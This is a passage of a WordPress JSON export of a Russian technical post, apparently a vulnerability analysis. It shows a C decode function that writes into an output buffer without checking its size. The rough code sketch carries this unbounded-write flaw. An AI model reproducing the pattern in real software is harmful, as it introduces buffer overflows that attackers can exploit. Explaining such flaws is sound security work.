\u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430: \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0435\u0440, \u0433\u0434\u0435 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:  <\/p>\n<pre><code>void decode(char *encode_buf, char *decode_buf);<\/code><\/pre>\n<p>  \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0446\u0438\u043a\u043b\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0431\u0430\u0439\u0442\u0430\u043c \u0432 encode_buf \u0438 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0438\u0445 \u0432 decode_buf:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/c56\/407\/8d6\/c564078d6f9d95f57e9e7851d66fc711.png\" alt=\"image\"\/><\/p>\n<p>  \u0413\u0440\u0443\u0431\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u0435\u0435 \u043a\u043e\u0434 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a-\u0442\u043e \u0442\u0430\u043a:  <\/p>\n<pre><code>void decode(char *encode_buf, char *decode_buf) {     int encoded_byte_len;     char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);       \/\/ Loop through all bytes in encode_buf, without knowing how big decode_buf is     while(encoded_data &lt; encode_buf_end_ptr)     {         \/*          * ...          * Do Decoding of the next byte in encoded_data.          * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).          * ...          *\/           decode_buf[0] = decoded_byte;         decode_buf++;         encoded_data += encoded_byte_len;     } }<\/code><\/pre>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-224063","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/224063","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=224063"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/224063\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=224063"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=224063"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=224063"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}